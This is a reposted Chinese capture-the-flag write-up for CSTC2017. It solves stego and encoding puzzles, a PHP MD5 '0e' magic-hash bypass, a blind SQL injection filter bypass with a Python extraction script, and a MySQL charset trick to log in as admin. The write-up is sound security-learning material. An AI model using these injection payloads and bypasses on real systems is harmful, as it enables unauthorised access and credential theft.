陝西省網絡空間安全技術大賽部分題目writeup


1.簽到-歡迎來到CSTC2017

10

歡迎來到CSTC2017

ZmxhZ3tXZWlTdW9GeXVfQmllTGFuZ30=

 

Base64解密:flag{WeiSuoFyu_BieLang}

 

2. 種棵樹吧

200

圖片里有一棵樹,樹上結滿勝利的果實!

 

下載后解壓 有兩張圖

先看2222.jpg 右鍵屬性詳細信息

得到:Post-order{YR!eVa-gLAoxd_j{pw}8zkUnGuIHh:r65f2lFsEi*}

 

再看1111.jpg,Stegsolve查看

看到圖片結束后有壓縮包 ,改后綴解壓

得到1.gif,但圖片打不開,記事本打開,發現頭文件缺少GIF8  加上去就可以打開了。

然后將GIF圖的字母提權出來。

得到In-order{RY!heHVaL-goAI{dxj_GpnUw8}kzu*Er:s56fFl2i}

 

所以我們得到了

In-order{RY!heHVaL-goAI{dxj_GpnUw8}kzu*Er:s56fFl2i}

Post-order{YR!eVa-gLAoxd_j{pw}8zkUnGuIHh:r65f2lFsEi*}

百度得知是二叉樹的中序遍歷和后序遍歷。

 

已知一棵二叉樹的后序序列和中序序列,構造該二叉樹的過程如下:
1.根據后序序列的最后一個元素建立根結點; 
2.在中序序列中找到該元素,確定根結點的左右子樹的中序序列; 
3.在后序序列中確定左右子樹的后序序列; 
4.由左子樹的后序序列和中序序列建立左子樹; 
5.由右子樹的后序序列和中序序列建立右子樹.

 

所以畫出該二叉樹

一行行讀: *hI!HEReIsYourFLAG:flag{n52V-jpU6d_kx8zw}

 

3. 簽到題

50

比賽開始啦~一盤小菜送上~

注意flag格式是需要加上flag{}的。

http://117.34.111.15:84/

 

右鍵源代碼:

Username 要字母 ,password要數字。但它們md5的值要一樣。

所以想到了php md5 0e的缺陷:PHP在處理哈希字符串時,會利用”!=”或”==”來對哈希值進行比較,它把每一個以”0E”開頭的哈希值都解釋為0,所以如果兩個不同的密碼經過哈希以后,其哈希值都是以”0E”開頭的,那么PHP將會認為他們相同,都是0

 

找到了md5('240610708') == md5('QNKCDZO')

所以 Username =QNKCDZO  password =240610708

右鍵源代碼:

傳入的messagejson格式的,出來的key==$key

但我們不知道$key的值。想到了php松散比較。

 

字符串 == TRUE  為TRUE 

4. 抽抽獎
75

抽獎唄
http://117.34.111.15/

 

訪問后抓包查看

把jsfuck代碼復制出來,解密得到:

 

5. so easy!

125

http://117.34.111.15:89/

 

觀察源代碼:

<?php 

include("config.php");

$conn ->query("set names utf8");

function randStr($lenth=32){
    $strBase = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";
    $str = "";
    while($lenth>0){
      $str.=substr($strBase,rand(0,strlen($strBase)-1),1);
      $lenth --;
    }
   return $str;
}

if($install){
    $sql = "create table `user` (
         `id` int(10) unsigned NOT NULL PRIMARY KEY  AUTO_INCREMENT ,
         `username` varchar(30) NOT NULL,
         `passwd` varchar(32) NOT NULL,
         `role` varchar(30) NOT NULL
       )ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci ";
    if($conn->query($sql)){
       $sql  = "insert into `user`(`username`,`passwd`,`role`) values ('admin','".md5(randStr())."','admin')";
       $conn -> query($sql);
    }
}

function filter($str){
     $filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i"; 
     if(preg_match($filter,$str)){
         die("you can't input this illegal char!");
     }
     return $str; 

}


function show($username){
  global $conn;
  $sql = "select role from `user` where username ='".$username."'";
  $res = $conn ->query($sql);
  if($res->num_rows>0){

      echo "$username is ".$res->fetch_assoc()['role'];
  }else{
      die("Don't have this user!");
  }
}

function login($username,$passwd){
    global $conn;
    global $flag;

    $username = trim(strtolower($username));
    $passwd = trim(strtolower($passwd));
    if($username == 'admin'){
        die("you can't login this as admin!");
    }
    
    $sql = "select * from `user` where username='".$conn->escape_string($username)."' and passwd='".$conn->escape_string($passwd)."'";
    $res = $conn ->query($sql);
    if($res->num_rows>0){
        if($res->fetch_assoc()['role'] === 'admin') exit($flag);
    }else{
       echo "sorry,username or passwd error!";  
    }

}

function source(){

    highlight_file(__FILE__);
}

$username = isset($_POST['username'])?filter($_POST['username']):"";
$passwd = isset($_POST['passwd'])?filter($_POST['passwd']):"";

$action = isset($_GET['action'])?filter($_GET['action']):"source";

switch($action){
   case "source": source(); break ;
   case "login" : login($username,$passwd);break;
   case "show" : show($username);break;
}

可看到filter()函數

過濾了這么多...

‘  select  from  where ( ) = 都能使用。

所以想到使用盲注

訪問 http://117.34.111.15:89/?action=show

Post 數據為 admin'=(TRUE)='1 返回正確

 

所以構造語句

因為過濾了逗號,所以語句為

username=admin'=(substring((select(passwd)from(user))from(-1))='8')='1

最后一位為8

后兩位為88

寫腳本跑

#!usr/bin/env python
#!coding=utf-8

__author__ = 'zhengjim'

import requests

url="http://117.34.111.15:89/?action=show"
ans=""
dic="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
for i in xrange(33):
    for j in dic:
        data={"username":"admin'=(substring((select(passwd)from(user))from(-{0}))='{1}{2}')='1".format(str(i),str(j),str(ans))}
        content=requests.post(url,data=data).content
        if len(content)>30:
            ans =j+ans
            print ans
            break

 

  

跑得密碼

 

然后在login出登入。

 

但傳入username如果為admin ,就要退出。

https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html p牛這篇文章里。

我們可以看到:

就是admin%c2 php中就不為admin,但在mysql查詢的就是為admin,所以可以繞過

原因就是Mysql字段的字符集和php mysqli客戶端設置的字符集不相同。Mysql在轉換字符集的時候,將不完整的字符給忽略了。

只寫了這么多。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM